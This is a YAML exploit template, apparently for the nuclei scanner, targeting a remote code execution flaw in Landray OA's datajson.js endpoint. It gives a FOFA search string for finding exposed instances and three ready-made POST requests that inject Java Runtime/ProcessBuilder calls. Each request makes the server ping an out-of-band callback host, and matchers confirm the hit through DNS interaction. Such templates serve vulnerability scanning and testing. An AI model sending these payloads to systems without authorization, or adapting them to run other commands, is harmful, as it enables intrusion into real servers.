dddd/common/config/pocs/landray-oa-datajson-rce.yaml
SleepingBag945 9a83a1b39f dddd v2.0
2024-04-03 06:32:26 +02:00

53 lines
1.4 KiB
YAML

id: landray-oa-datajson-rce
info:
name: Landray OA Datajson RCE
author: SleepingBag945
severity: critical
description: |
FOFA: app="Landray-OA系统"
reference:
- https://www.cnsuc.net/thread-553.htm
tags: landray,rce
http:
- raw:
- |
POST /data/sys-common/datajson.js HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
s_bean=sysFormulaSimulateByJS&script=new java.lang.ProcessBuilder("ping","{{interactsh-url}}").start()&type=1
- |
POST /data/sys-common/datajson.js HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
s_bean=sysFormulaSimulateByJS&script=function%20test(){%20return%20java.lang.Runtime};r=test();r.getRuntime().exec("ping%20-c%204%20{{interactsh-url}}")&type=1
- |
POST /data/sys-common/datajson.js HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
s_bean=sysFormulaSimulateByJS&script=var+calc='ping+{{interactsh-url}}';java.lang.Runtime.getRuntime().exec(calc)&type=1
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the DNS Interaction
words:
- "dns"
- type: word
words:
- 'success":true'
condition: and
extractors:
- type: kval
kval:
- interactsh_ip # Print remote interaction IP in output